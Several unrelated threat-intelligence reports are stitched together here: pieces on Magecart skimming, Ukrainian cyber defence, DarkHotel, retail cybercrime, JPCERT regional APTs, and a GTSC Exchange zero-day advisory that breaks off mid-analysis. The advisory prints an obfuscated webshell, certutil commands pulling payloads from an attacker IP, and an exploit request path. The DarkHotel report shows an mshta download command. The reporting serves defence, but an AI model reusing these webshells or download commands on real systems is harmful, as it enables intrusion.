to 25 years in prison under the terms of the plea deal. Fedir Hladyr, another FIN7 member, pleaded guilty in September 2019. Hladyr’s sentencing is scheduled for Dec. 11.
# GitHub Hosted Magecart Skimmer Used Against Hundreds of E-Commerce Sites **Jérôme Segura** **April 26, 2019** Every day, new e-commerce websites fall into the hands of one of the many Magecart skimmers. Unbeknownst to shoppers, criminals are harvesting their personal information, including payment details in the online equivalent of ATM card skimming. Most often the skimming code—written in JavaScript and obfuscated—is hosted on infrastructure controlled by attackers. Over time, they have created thousands of domain names mimicking Magento, the CMS platform that is by far most targeted. However, as we sometimes see in other types of compromises, threat actors can also abuse the resources of legitimate providers, such as code repository GitHub, acquired by Microsoft last year. This latest skimmer is a hex-encoded piece of JavaScript code that was uploaded to GitHub on April 20 by user momo33333, who, as it happens, had just joined the platform on that day. In the above and below screenshots, you can see that the threat actor was fine-tuning the skimmer, after having done a few tests. Just like with any other kind of third-party plugins, compromised Magento sites are loading this script within their source code, right after the CDATA script and/or right before the `</html>` tag. According to a search on urlscan.io, there are currently over 200 sites that have been injected with this skimmer. A look at the deobfuscated script reveals the exfiltration domain (jquerylol[.]ru) where the stolen data will be sent to. It’s worth noting that the compromised Magento sites will remain at risk, even if the GitHub-hosted skimmer is taken down. Indeed, attackers can easily re-infect them in the same manner they initially injected the first one. It is critical for e-commerce site owners to keep their CMS and its plugins up-to-date, as well as using secure authentication methods. Over the past year, we have identified thousands of sites that are hacked and posing a risk for online shoppers. We reported the fraudulent GitHub account which was quickly taken down. We are also protecting our users by blocking the exfiltration domain.
# Conversation with a Top Ukrainian Cyber Official: What We Know, What We Don't, What It Means Written by AJ Vicens Jan 31, 2022 | CYBERSCOOP Cybersecurity officials in Ukraine issued a warning about yet another phishing attack using either compromised or spoofed government email addresses, the second such warning since Saturday. Monday’s alert warned of attackers targeting government institutions with malware-laced bait documents hosted on Discord that come to targets within emails from the National Health Service of Ukraine. The malware deploys a program called OutSteel that looks for certain file extensions and steals them, and also deploys a second malicious program called SaintBot. Monday’s bulletin comes two days after government officials warned of compromised email accounts from the Ukrainian judiciary being used to target mostly Ukrainian government targets with malware hidden within phony court inquiries. All of the attacks are linked as part of “hybrid aggression, cyber aggression against Ukraine,” said Victor Zhora, the deputy chairman of the State Service of Special Communications and Information Protection of Ukraine, but not as a single operation. “These are steps to continuously attack Ukrainian government agencies, objects of critical infrastructure and to make us ready for any kind of new attack,” Zhora said. The operations play out against the backdrop of ongoing tension between the government of Russia and a host of western governments, as the Russian government accused the U.S. of wanting war in Ukraine, and the U.S. continuing to insist that a Russian military attack on Ukraine is possible at any time. As the two nations’ diplomats traded barbs at the United Nations, officials in Kyiv such as Zhora are tasked with unpacking the technical details, as well as the methods and motivations, behind ongoing cyberattacks directed at the government of Ukraine. Zhora spoke with CyberScoop and explained the biggest outstanding questions related to the cyberattacks against his country, how the attacks fit into the context of Russian aggression toward Ukraine for the last eight years, and how other countries, including the U.S., are helping decipher what’s happening in the attacks. The answers have been lightly edited and condensed for clarity. **CyberScoop:** A fair amount of data and context has been published about the latest round of cyberattacks on Ukraine. What are the biggest unanswered questions? **Zhora:** I would name two major questions. The first is the exact way and date of the compromising of the infrastructure software development company, which was used as a first step of a supply chain attack on government websites. That’s what we need to discover. And that would be a key to the second major question: Attribution. We see a lot of signs, and a lot of details, which can lead up to the conclusion that one of the Russian advanced persistent threat (APT) groups are responsible for this attack, but we need exact proof, which can allow us to come out with a solid attribution. **CyberScoop:** There have been public accusations of Russian-government involvement, but you’re saying that you want to be able to provide more forensic and digital evidence before formally attributing the attacks to specific groups? **Zhora:** We should have enough evidence before we blame anyone responsible for organizing an attack. We already invited experts — and hopefully, we’ll be able to come out with a single statement involving international experts who will enrich our expertise. **CyberScoop:** There have been reports of U.S. and other nations’ cybersecurity experts aiding Ukraine. What does help look like? **Zhora:** We appreciate the help from U.S. companies and officials, that is very valuable for us. We have had some talks with different people, and we feel the support and practical support. We continue getting valuable information, which allows us to continue investigation. As regards to some experts who will help in investigation, unfortunately, I cannot name them or their organization, but I’m confident their help will be very important and valuable for us. **CyberScoop:** I would imagine your local experts are quite experienced with dealing with the kinds of attacks they’re seeing. **Zhora:** Providing comprehensive attribution means not just collecting evidence but also making some conclusions from this evidence. It also should be combined with some intel data and this intel data is particularly rich and fully owned by our foreign partners. So I cannot say that Ukraine can provide such deep threat intelligence or APT intelligence like the United States or United Kingdom can help with. That’s an area of cooperation to provide us solid attribution. And that would be important, that this attribution should convince everybody that all steps that were taken were correct. **CyberScoop:** There have been reports of possible Belarusian connections to some of the cyber activity that has been witnessed. Can you elaborate on any of that? **Zhora:** That was one of the questions, and could be one of the versions [of events]. For example, the attack could be developed in the Russian Federation but executed by Belarusians. Or the territory from which Ukraine was attacked could be a territory of Belarus, and that could be done during the military exercises, which took place exactly at the same time. But in my opinion, I don’t think that Belarusians would take the risk of being blamed for this. We understand that we have Russian troops, Russian soldiers, Russian arms, at the east, that have occupied and annexed Crimea. We understand that this is Putin, this is the Kremlin, this is the Russian Federation. But with regards to Belarus, they always try to keep their neutral position. And if it happens that they were somehow involved in this, that would significantly change the total disposition of forces and there could be some geopolitical changes with regards to this effect. So as an idea, it can exist, but as facts, I don’t think so. **CyberScoop:** Ukrainian President Volodymyr Zelensky has said Western governments are inciting “panic” by insisting that the Russian government will launch a full-scale attack any day. Do you think that includes any of the discussion around the cyberattacks that are making the headlines? **Zhora:** We consider this as a part of this hybrid aggression, parts of a big-information, psychological special operation against Ukraine. Of course, we see the big geopolitical tension and some speculation about a potential land operation. In my opinion, Kyiv is rather calm and people are thinking about their day-to-day problems and about dealing with COVID-19, and so the same things people are dealing with around the world. So that’s a much more important problem. But of course, I understand that I cannot see the whole picture as the foreign leaders can see. So my picture is about cybersecurity, and I will say that it’s not scary, but alarming. We witnessed the recent cyberattack which shows us some serious weaknesses, which we need to quickly resolve. And the latest phishing campaigns confirm the adversary’s abilities and their will to continue aggression. This means that critical infrastructure should be our main point of interest. We need to be aware of risks that can happen to critical infrastructure, especially regarding this winter time and potential energy prices, which is basically coming for the whole world. **CyberScoop:** Cisco’s Talos threat intelligence unit recently warned companies with connections to Ukraine to treat the cyberattacks seriously, but also to avoid “panic” and that cybersecurity experts have seen these kinds of attacks in Ukraine “on and off for years.” Is the activity we’re seeing in recent weeks evidence of more attacks than usual, or is the quantity of attacks relatively stable? **Zhora:** The growth is constant. So each month, we register up to 10% growth of attempts. So it’s normal way of things, and that’s the situation that we need to understand and to try to live with. Just the same way as we live with constant shooting on the eastern border. It’s absolutely quiet here in Kyiv and 99% of Ukrainian territory, but unfortunately, almost every day or week, we have victims from Ukrainian troops on the east. That’s a situation which has lasted for eight years, and nobody knows how many years it will last more.
# 境外“暗黑客栈”组织对国内企业高管发起APT攻击 **Author: ThreatBook** ## 0x00 摘要 Adobe于12月28日发布了一个应急补丁用于修复Flash播放器的多个安全漏洞。有线索表明其中之一已被用于APT(高级可持续性)攻击,国外有媒体揣测其攻击目标为国内某著名IT企业,微步在线尚未发现任何证据支持此结论。但溯源分析表明确有境外黑客团伙利用此漏洞针对中国及亚洲企业的高管发起APT攻击,此团伙即代号为暗黑客栈(DarkHotel)的APT攻击组织。现阶段尚不确定此攻击是否有更复杂的背景。微步在线已第一时间向客户发送预警。 我们建议企业高管们立即采取以下措施: 1. 立即升级Flash播放器; 2. 不要点击陌生邮件的附件或链接; 3. 连接酒店WIFI请慎重,收发敏感信息可用移动通信网络。 ## 0x01 威胁事件分析 在Adobe于12月28日发布的19个安全漏洞的应急(OOB)补丁中,CVE-2015-8651被Adobe标注为已用于APT攻击。微步在线通过对多宗活跃APT威胁事件的跟踪及对CVE-2015-8651攻击的分析,确定了攻击流及攻击者身份。 通过对捕获的可疑SWF文件进行分析,确认此样本利用了Adobe Flash整数溢出漏洞(即此次Adobe修复的CVE-2015-8651漏洞)。受攻击者访问此SWF文件后,漏洞利用成功会跳转到下列shellcode: 其主要功能是下载一个名为update.exe的文件到系统的%temp%目录下,通过RC4解密并且通过ECHO加可执行文件的“MZ”头来构建有效的PE文件,然后运行。Update.exe约1.3Mb,具有完整的文件属性,伪装成SSH密钥生成工具: 通过逆向分析发现,木马作者篡改和裁剪了正常的OpenSSL文件,篡改后的版本只提供一个参数:-genkeypair。无论是否传递此参数,木马文件都会首先释放一个公钥在当前目录用于干扰判断,同时进入真正的恶意代码部分。此样本未进行代码混淆,但是采用了多种反调试/反虚拟机技术及字段加密,通过检测各种系统环境来判断是否有反病毒软件及沙箱存在,比如: Update.exe是一个Trojan Downloader,利用执行mshta.exe来下载木马文件,木马文件服务器位于冰岛。形式如下: ``` C:\Windows\system32\mshta.exe hxxp://****.com/image/read.php ``` ## 0x02 攻击团伙分析 随着对此攻击事件的目标、工具、手法和过程更详细的分析,我们发现其特点和暗黑客栈(Darkhotel)有着非常惊人的一致。 暗黑客栈(Darkhotel)APT攻击团伙的踪迹最早可以追溯到2007年,其从2010年开始更多地利用企业高管在商业旅行中访问酒店网络的时机,进行APT攻击来窃取信息。因此在2014年卡巴斯基发布针对此团队的研究报告时,将其命名为“Darkhotel”。此团伙攻击目标集中在亚太地区开展业务和投资的企业高管(如:CEO、SVP、高管及高级研发人员),攻击的行业包括大型电子制造和通信、投资、国防工业、汽车等。 此团队使用零日漏洞(特别是Flash类型)来进行攻击,并规避最新的防御措施,同时也会盗窃合法的数字证书为后门软件及监听工具进行签名。如果有一个目标已经被有效感染,往往就会从作案点删除他们的工具,进而隐藏自己的活动踪迹。从其行动特点看,具有极高的技术能力及充沛的资源。 我们对此次事件和暗黑客栈(Darkhotel)的特点进行了对比,认为有充足理由认定其就是始作俑者。 ## 0x03 小结 通过此事件,我们再次认识到在万物互联的年代,单纯基于漏洞的防御往往是防不胜防。只要有足够的价值,黑客就有足够的投入和机会攻陷目标。我们需要及时的调整防御思路,平衡安全投入,更多的聚焦威胁,以威胁情报驱动安全体系建设,建立防御、检测、响应及预防一套完整的安全自适应过程。
# Cybercriminals Shop Around for Schemes Targeting Retail Retail has long been a cornerstone of business on the internet, giving people a convenient way to track down any and every product or service they could possibly want. However, even as subsets of the retail industry—such as dining or hospitality—find ways to leverage the internet to enhance their business, the cybercriminal underground has found ways to attack that growth for their own illegal financial gain. While top echelon brands have a near cult-like following of customers who have come to know them for their products or services, the cybercriminal underground understands the bigger the company, the bigger portfolio it likely has connected to the internet. Given the underground’s ability to either find unprotected systems or get around the security guarding them, criminals know they don’t have to attack a retail company’s flagship product for their efforts to be profitable. Intel 471 has observed criminals going after large retail and hospitality companies in a number of ways. Be it trying to attack user accounts, cloud-based infrastructures, or public-facing internet assets, any part of a company’s overall portfolio will likely be targeted by a criminal if they feel they can derive value from it. Below are some examples of what Intel 471 has observed when it comes to cybercrime focused on the retail industry. ## Rewards Programs Are a Prime Target One such scheme Intel 471 has observed is criminals breaking into retail-associated accounts for their “rewards” points in an attempt to exchange those points for gift cards at various retailers. In March 2019, we observed a Maldivian actor selling access to an international hotel chain’s rewards points in a Discord dedicated to breaking into various online accounts. Upon purchase, the actor would take points out of various accounts and cash them in for Amazon gift cards. On the low end, access to lists with rewards accounts that held between 14,000 and 75,000 points were priced between $10 and $50. On the high end, access to lists with rewards accounts that held approximately 335,000 to 880,000 rewards points were priced between $200 and $600. Intel 471 observed several users paying between $50 and $875 for access to points, which were then converted into gift cards. This actor has an extensive history in account checking, with reputable personas on the CrackingPro and Nulled forums, and provided proof of monetizing the hotel rewards accounts on Amazon. The information received positive comments from multiple actors on the Discord channel. ## Access to Infrastructure In September 2020, Intel 471 observed a Russian-speaking actor trying to sell unauthorized access to cloud-based infrastructure they claimed to belong to “one of the most famous hotel chain brands in the world.” The actor allegedly gained unauthorized access to a Microsoft Azure instance operated by the company, along with a management panel catering to about 100 domain names associated with the company’s lines of business. Due to this access, the actor was able to discern that the company paid millions of dollars for the infrastructure. However, they were unable to do anything beyond edit WHOIS records for various websites; the actor could not tamper with a name server (NS) or start of authority (SOA) records. Shortly after Intel 471 confirmed this information, the actor claimed the access no longer was available. It was unclear whether the actor sold or lost it at the time of this report. ## Cracking Creds In March 2021, Intel 471 observed a long-standing member of the cracked.to cybercrime forum offering account-cracking tools and related services, with one in particular built to target a rewards program. The actor advertised configuration files for the free penetration-testing tool OpenBullet that would allow an attacker to collect various information from a hotel chain’s rewards program. The actor provided a brief demonstration video to a configuration file targeting the program, revealing the script made 4,557 checks per minute (CPM) and captured credit card information, reward points balances, and email addresses. The actor was selling this in a private Discord server alongside a similar OpenBullet configuration file that targeted a multinational credit card company. ## Moving Money If cybercriminals aren’t dealing with money itself, they often reach for gift cards as their next best option. Whether it be physical cards or solely online credits, the underground has long used gift cards as a conduit to move money. The buying, selling and trading of gift cards is still prevalent in 2021. While cards tied to high-end multinational retailers have always moved through underground forums, the actors involved are new, using the gift card trade to find a footing in the cybercrime underground. In September 2020, Intel 471 observed one such newcomer on a Turkish-language cybercrime forum sharing a tactic that would allow someone to use compromised PayPal accounts on a United Arab Emirates (UAE)-based website where users can buy online gift cards. The method involved manipulating cookies, disguising IP addresses and using various HTML codes to bypass security protocols used by the website. The method also worked on two Turkish retail sites that sell gift cards and other goods. The actor requested 200 Turkish lira (about US $25) for access to this method. ## Criminals Value Video Games A more seasoned actor who has a presence on multiple well-known cybercrime forums has made a name for himself in the past few months by buying and reselling gift cards and video game keys. Intel 471 observed this actor holding a presence on over 10 cybercrime forums, advertising that he would buy cards and keys for 65 percent to 85 percent of their value to resell them through other platforms. The actor said he was looking for cards tied to well-known e-commerce and app stores, and keys tied to e-commerce sites that serve both PC and console gamers, as well as stores run by game developers. ## Big Stashes for Cash In February 2021, an actor Intel 471 has been tracking for several years offered to sell 895,000 gift cards issued by more than 3,000 companies that included well-known brands in clothing, online retail, transportation and technology sectors, among others. The actor aimed to sell the entire database for US $20,000, even as the gift cards’ value allegedly amounted to more than US $38 million. The actor also expressed willingness to consider offers by other actors to monetize the database for a share of profit. After testing some of the accounts, the actor amended the offer, claiming many of the gift cards were invalid. After the change, the actor expressed readiness to provide a sample from the database to test and showed a willingness to negotiate the price with a prospective buyer. ## Retail's Ransomware Threat Ransomware is a top threat for all internet-connected businesses. Retail is no different. Over the past year, Intel 471 has observed numerous retailers or third-party partners falling victim to ransomware attacks. These incidents have all the hallmarks of other ransomware attacks: systems locked, data exfiltrated, and business operations left crippled or shut down altogether. In November 2020, South Korea-based conglomerate E-Land Group was hit with CLOP ransomware, forcing the company to shut down a portion of its corporate network, along with 23 of its 50 physical retail locations. The attackers told media outlets that they had been in the system for nearly a year, gathering data on customers that they would eventually take for themselves. Intel 471 discovered in December that the operators took and released Track 2 payment card data, which other threat actors could use to produce fake credit cards. Operators pulled off this attack by taking advantage of vulnerabilities in the Accellion file transfer appliance (FTA) software, which has been linked to a series of high-profile compromises including the Singaporean telecom company Singtel, U.S. law firm Jones Day, and U.S. grocery store chain Kroger. CLOP reportedly used this flaw to also go after U.S. railroad company CSX Corp. and multinational tech company Qualys. ## Supply Chain in the Crosshairs Intel 471 has not only observed direct attacks on retailers, but also those that hit companies tied to their supply chain. In April 2020, operators of the NEIFILIM ransomware variant attacked Sri Lankan lingerie and apparel manufacturer MAS Holdings, which makes various clothing items for highly-known brands around the world. The operators leaked 9 GB data on their leak blog, claiming that they stole around 300 GB in total. While the attack was launched in April, operators were likely inside the MAS Holding’s systems for weeks prior to the ransomware being launched. Intel 471 observed an actor selling access to the company’s network in March 2020. Another company—U.S.-based packaging company Westrock—was attacked by operators of DarkSide ransomware in January 2020. In an investor note released by the company a week after the incident began, Westrock said it had shut down certain systems “in an abundance of caution” and shipments from some of the company’s facilities “lagged” behind normal production levels. That may have partly been due to the company’s negotiations with operators: Intel 471 observed a DarkSide representative tell Westrock that the group retained access to the company’s network and continued to encrypt data on the servers, even during negotiations. In all, the ransomware operators allegedly attacked two local domains that hosted more than 500 databases and backup servers with more than 1.2 PB of data. ## Conclusion So much of retail business depends on the internet, especially given that consumers have depended on online-only options during the COVID-19 pandemic. That has forced retail companies to embrace more of a technology-driven business profile, which then leads to more of their business needing to be as secure as possible. As long as this continues to be the trend, cybercriminals will look for vulnerable targets, hoping to siphon money away from businesses that have not taken the right security precautions. It’s imperative that security teams understand what schemes are proliferating on the cybercrime underground and compare it against their own security posture in order to proactively defend against their business and customers falling prey to these various schemes.
# APT Cases Exploiting Vulnerabilities in Region-Specific Software **Shusei Tomonaga, Tomoaki Tani, Hiroshi Soeda & Wataru Takahashi** JPCERT/CC, Japan ## Abstract APT attacks often leverage software vulnerabilities to infect victims with malware. Commonly targeted software includes Microsoft Office, IE, and Adobe Flash Player, all of which are in widespread use worldwide. However, some APT attacks exploit vulnerabilities in region-specific software, often used by government agencies, making them prime targets for attackers. Such attacks are rarely discussed at international conferences as they relate exclusively to specific countries. In Japan, many attacks have exploited vulnerabilities in software unique to the country, using malware that is also unique. This paper describes the TTPs of attack groups in recent years and provides insights into intelligence analysis and APT handling by examining the attack characteristics of different campaigns. ## 1. Introduction Various tactics, techniques, and procedures (TTPs) are used by different attackers to trick victims into becoming infected with malware. Particularly in APT attacks, highly sophisticated methods such as supply chain attacks and zero-day attacks are observed. Software widely used (e.g., Microsoft Office, IE, Adobe Flash Player) is often targeted in zero-day attacks, making them ideal entry points for malware. Conversely, software used only in specific countries, such as Hangul Word Processor (HWP) in South Korea and Ichitaro in Japan, is often targeted in attacks against those countries. Understanding such attack cases is crucial for determining appropriate countermeasures. This research documents and shares examples of attacks leveraging region-specific software. In Japan, many attacks have exploited vulnerabilities in software used only within the country. JPCERT/CC has been involved in the incident handling and investigation of many cases. This paper describes the details of these attacks by APT groups in recent years, focusing on three types of software: Sanshiro, Ichitaro, and SKYSEA Client View. ## 2. Attack Exploiting Sanshiro’s Vulnerability ### 2.1 Summary of the Vulnerability Sanshiro is a widely distributed spreadsheet program in Japan, with the file extension ‘jsd’. The latest major version was released in 2010, and it ceased to be sold in 2014. It was mainly used in the Japanese government and education sectors. The Sanshiro series contains a vulnerability (CVE-2014-0810) that allows arbitrary code execution, leveraged as a zero-day exploit by APT actors against Japanese government agencies. ### 2.2 Delivery of the Zero-Day Exploit The APT group delivered the zero-day exploit code via a spear-phishing email sent to Japanese government agencies. The email contained a new year greeting and a decoy document with the zero-day exploit attached. ### 2.3 The Bundled Malware with the Exploit In actual attack cases, a malicious Sanshiro document delivering PlugX was attached to a spear-phishing email. PlugX is a remote access tool (RAT), and infected devices communicated with a C&C server. Further analysis revealed that PlugX had also been used in past attacks in combination with other vulnerability exploits. ### 2.4 Attack Timeline The actor developed the Sanshiro exploit and used it before the vulnerability was disclosed in January 2014. JPCERT/CC observed several spear-phishing emails from the same actor since at least 2013, using various exploits. The timeline of exploits used by the actor is as follows: | Date | Note | |------------------|----------------------------------------------------------------------| | April 2013 | Spear-phishing mail with MS Office exploit (CVE-2012-0158) | | May 2013 | Spear-phishing mail with Adobe PDF exploit (CVE-2011-2462) | | September 2013 | Spear-phishing mail with Ichitaro zero-day exploit (CVE-2013-5990) | | November 2013 | Disclose CVE-2013-5990 and release update patches for Ichitaro | | November 2013 | Spear-phishing mail with Ichitaro exploit (CVE-2013-5990) | | December 2013 | Spear-phishing mail with Sanshiro zero-day exploit (CVE-2014-0810) | | January 2014 | Disclose CVE-2014-0810 and release update patches for Sanshiro | ## 3. Attack Exploiting Ichitaro’s Vulnerability ### 3.1 Summary of Ichitaro Ichitaro is a popular Japanese word-processing program, first released in 1983. It has been widely used in government agencies and the general consumer market. Despite its popularity, several vulnerabilities have been found in this product, some of which have been leveraged in targeted attacks. | Published | CVE | Overview | CVSSv2 | |------------------|-----------------------|------------------------------------------|--------| | 2014/11/13 | CVE-2014-7247 | Arbitrary Code Execution (ACE) | 9.3 | | 2013/11/12 | CVE-2013-5990 | Arbitrary Code Execution (ACE) | 9.3 | | 2013/06/18 | CVE-2013-3644 | Arbitrary Code Execution (ACE) | 9.3 | | 2013/02/26 | CVE-2013-0707 | Arbitrary Code Execution (ACE) | 6.8 | | 2011/06/16 | CVE-2011-1331 | Arbitrary Code Execution (ACE) | 9.3 | | 2010/11/04 | CVE-2010-3916 | Arbitrary Code Execution (ACE) | 9.3 | | 2010/11/04 | CVE-2010-3915 | Arbitrary Code Execution (ACE) | 9.3 | | 2010/06/01 | CVE-2010-2152 | Arbitrary Code Execution (ACE) | 9.3 | | 2010/04/12 | CVE-2010-1424 | Arbitrary Code Execution (ACE) | 9.3 | ### 3.2 CVE-2014-7247 CVE-2014-7247 was exploited as a zero-day vulnerability. The attack was carried out through targeted emails distributed to government agencies and enterprises in Japan. The emails were crafted to convince recipients to open the attachment, which contained an Ichitaro document leveraging the CVE-2014-7247 vulnerability. #### Summary of the Vulnerability CVE-2014-7247 causes a stack overflow due to a failure in copy processing called from JCXCALC.DLL, allowing excessive data to be written in the local static array. This alteration of the return address on the stack enables attackers to execute shellcode. #### Detail of the Shellcode The shellcode consists of two sets of code. The first set searches for the second set embedded in the Ichitaro file loaded in memory. The second code decodes the shellcode with XOR. The decoded shellcode extracts and executes the malicious program embedded in the Ichitaro file. #### Details of the Malware - **Emdivi**: A bot that communicates via HTTP protocol, systematically managed by the developer with functional updates. - **Agtid**: A bot that performs basic functions such as file operations and downloading/executing files. ### 3.3 Threat Actor The actors who conducted attacks leveraging CVE-2014-7247 are examined based on malware compile time and file property information. The compile time of the malware used by the attackers indicates that PlugX and Emdivi were created around the same time, suggesting the same attackers were involved. ## 4. Attack Exploiting SKYSEA Client View’s Vulnerability ### 4.1 Summary of the Vulnerability SKYSEA Client View is a popular asset management software in Japan. It had a vulnerability (CVE-2016-7836) allowing remote code execution due to a flaw in processing authentication on the TCP connection with the management console program. This vulnerability was zero-day exploited by the APT group BRONZE BUTLER. ### 4.2 Attack Timeline BRONZE BUTLER used watering hole attacks as its main attack method until 2016, shifting to attacks leveraging the above vulnerability from June 2016 to February 2019. The activity was observed primarily targeting IP addresses allocated to Japan. ### 4.3 Malware Infections Exploiting This Vulnerability The following types of malware were used in this attack: - **Wali**: A downloader similar to xxmm, capable of executing PowerShell commands. - **Small Downloader**: A downloader that only downloads and executes PE files. - **NodeRAT**: Multi-platform malware written in JavaScript that operates in any environment with Node.js installed. ### 4.4 Attack Infrastructure The remote attack had several attributes corresponding with the attacker’s infrastructure, using specific IP addresses and compromised websites as C&C servers. ## 5. Discussion of APT Campaigns Targeting Japan The timeline of APT campaigns targeting Japanese organizations includes various groups such as APT17, Cloudy Omega / Blue Termite, and BRONZE BUTLER. These campaigns utilized spear-phishing emails, watering hole attacks, and supply chain attacks to gain initial access to victim networks. ### Conclusion This paper described targeted attacks against Japanese organizations exploiting three different zero-day vulnerabilities. The software in these cases is used only in Japan and is not distributed outside the country. APT groups have investigated these software vulnerabilities and leveraged them for attacks. Security countermeasures for local software need to be considered, as attackers aim at such weak points. Future publications should share details of attacks targeting local software vulnerabilities to help analysts understand the threat landscape and consider countermeasures against similar attacks in their regions.
# Cảnh báo chiến dịch tấn công sử dụng lỗ hổng ZERO DAY trên Microsoft Exchange Server Khoảng từ đầu tháng 08/2022, trong quá trình thực hiện giám sát an ninh mạng và xử lý sự cố, Trung tâm vận hành bảo mật GTSC SOC phát hiện một đơn vị trọng yếu bị tấn công an ninh mạng vào hệ thống ứng dụng Microsoft Exchange. Quá trình điều tra, đội ngũ chuyên gia BlueTeam xác định kẻ tấn công đã sử dụng một lỗ hổng bảo mật của Microsoft Exchange chưa từng được công bố - hay còn gọi là lỗ hổng 0-day. GTSC SOC Team ngay lập tức đưa ra phương án ngăn chặn tạm thời. Song song, các chuyên gia RedTeam cũng bắt tay ngay vào việc nghiên cứu, debug lại mã nguồn ứng dụng Mail Exchange để tìm ra mã khai thác (exploit). Với lỗ hổng bảo mật Exchange trước đây, đội ngũ RedTeam cũng đã từng phân tích ra exploit trước khi có exploit được public trên thế giới (1-day exploit) nên việc hiểu luồng, cơ chế xử lý của hệ thống Email Exchange đã giúp giảm thời gian cho quá trình research. Ngay sau khi nghiên cứu ra exploit, GTSC đã submit lên ZDI để làm việc với Microsoft nhằm nhanh chóng có bản vá. Sau khi ZDI verify đã ghi nhận 2 bug liên quan đến exploit. Tuy nhiên đến thời điểm hiện tại, GTSC ghi nhận thêm các đơn vị khác cũng đang gặp phải sự cố. Sau khi kiểm tra, GTSC xác nhận hệ thống bị tấn công qua lỗ hổng 0-day này. Để hỗ trợ cộng đồng ngăn chặn tạm thời trước khi có bản vá chính thức từ Microsoft, chúng tôi công bố bài viết này để cảnh báo tới các đơn vị có sử dụng hệ thống email Microsoft Exchange. ## Thông tin lỗ hổng bảo mật - Đội ngũ Blueteam trong quá trình giám sát phát hiện được các request exploit dựa trên log IIS có định dạng giống như lỗ hổng ProxyShell: `autodiscover/[email protected]/<Exchange-backend-endpoint>&Email=autodiscover/autodiscover.json%[email protected]`. Đồng thời kiểm tra các logs khác, nhận thấy kẻ tấn công thực hiện được các câu lệnh trên hệ thống. Kiểm tra version number trên máy chủ Exchange bị tấn công nhận thấy máy chủ đã cài đặt bản cập nhật mới nhất tại thời điểm đó nên không thể có trường hợp khai thác bởi lỗ hổng Proxyshell -> xác nhận máy chủ bị khai thác bởi lỗ hổng 0-day RCE mới. Các thông tin này được Blueteam cung cấp lại cho Redteam, từ đó đội ngũ Redteam của GTSC đã tiến hành nghiên cứu để trả lời cho các câu hỏi như tại sao các request lại giống với request của bug ProxyShell?, luồng RCE được thực hiện như thế nào? Kết quả nghiên cứu đã giúp GTSC Redteam thành công tìm ra cách sử dụng đường dẫn trên để truy cập tới 1 component ở backend và thực hiện RCE. Thông tin kỹ thuật chi tiết về lỗ hổng tại thời điểm này chúng tôi xin phép chưa công bố. ## Các hành vi sau khai thác Sau quá trình khai thác thành công lỗ hổng, chúng tôi ghi nhận các hành vi tấn công nhằm thu thập thông tin và tạo chỗ đứng trong hệ thống của nạn nhân. Nhóm tấn công cũng sử dụng các kỹ thuật khác nhau nhằm tạo backdoor trên hệ thống bị ảnh hưởng và thực hiện lateral movement sang các máy chủ khác trong hệ thống. ### Webshell Chúng tôi phát hiện các webshell được drop xuống các máy chủ exchange. Các webshell chúng tôi thu thập được hầu hết được obfuscated. Thông qua User-agent chúng tôi phát hiện attacker sử dụng Antsword (một opensource có tính năng hỗ trợ quản lý webshell). ```javascript <%@Page Language="Jscript"%> <%eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String('NTcyM'+'jk3O3'+'ZhciB'+'zYWZl'+''+'P'+'S'+char(8763)+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String('MQ=='))+char(51450/525)+''+''+char(0640-0462)+char(0x8c28/0x1cc)+char(0212100/01250)+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String('Wg== ``` Chúng tôi nghi ngờ các hành vi khai thác này xuất phát từ các nhóm tấn công Trung Quốc, dựa trên codepage trong webshell là 936, một bảng mã ký tự Microsoft cho tiếng Trung giản thể (simplified Chinese). Một đặc điểm đáng chú ý khác, bên cạnh việc drop các webshell mới hacker cũng thực hiện thay đổi nội dung trong file `RedirSuiteServiceProxy.aspx` thành nội dung webshell. `RedirSuiteServiceProxy.aspx` là một tên file hợp pháp sẵn có trong máy chủ Exchange. | FileName | Path | |--------------------------------------|----------------------------------------------------------------------| | RedirSuiteServiceProxy.aspx | C:\ProgramFiles\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth | | Xml.ashx | C:\inetpub\wwwroot\aspnet_client | | pxh4HG1v.ashx | C:\ProgramFiles\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth | Trong quá trình xử lý sự cố tại một khách hàng khác, GTSC ghi nhận nhóm tấn công có sử dụng một mẫu webshell khác. - Filename: errorEE.aspx - SHA256: be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257 ### Command Execution Bên cạnh các hành vi thu thập thông tin trên hệ thống, attacker thực hiện tải file và kiểm tra kết nối thông qua certutil có sẵn trên môi trường Windows. ```cmd “cmd" /c cd /d "c:\\PerfLogs"&certutil.exe -urlcache -split -f http://206.188.196.77:8080/themes.aspx c:\perflogs\t&echo [S]&cd&echo [E] "cmd" /c cd /d "c:\\PerfLogs"&certutil.exe -urlcache -split -f https://httpbin.org/get c:\test&echo [S]&cd&echo [E] ``` Ở cuối của mỗi câu lệnh mà kẻ tấn công thực hiện đều có chuỗi `echo [S]&cd&echo [E]`, một trong những dấu hiệu nhận biết của China Chopper. Ngoài ra, hacker cũng thực hiện inject DLL độc hại vào bộ nhớ, drop các file nghi ngờ lên các máy chủ bị tấn công, và thực thi các file này thông qua WMIC. ### Suspicious File Trên các máy chủ, chúng tôi phát hiện các file nghi ngờ có định dạng exe và dll. | FileName | Path | |-----------------------|-------------------------------------------| | DrSDKCaller.exe | C:\root\DrSDKCaller.exe | | all.exe | C:\Users\Public\all.exe | | dump.dll | C:\Users\Public\dump.dll | | ad.exe | C:\Users\Public\ad.exe | | gpg-error.exe | C:\PerfLogs\gpg-error.exe | | cm.exe | C:\PerfLogs\cm.exe | | msado32.tlb | C:\Program Files\Common Files\system\ado\msado32.tlb | Trong số các file nghi ngờ trên, dựa vào các câu lệnh được thực hiện trên máy chủ, chúng tôi nhận định các file `all.exe`, `dump.dll` có nhiệm vụ trích xuất thông tin tài khoản trên hệ thống máy chủ. Sau các hành vi trích xuất thông tin tài khoản trên hệ thống, attacker sử dụng `rar.exe` để nén các file dump và copy ra webroot của máy chủ Exchange. Trong quá trình xử lý sự cố, các file trên đã không còn tồn tại trên hệ thống. File `cm.exe` được drop xuống thư mục `C:\PerfLogs\` là file cmd.exe. ### Malware Analysis #### Thông tin DLL - File name: Dll.dll - Sha256: - 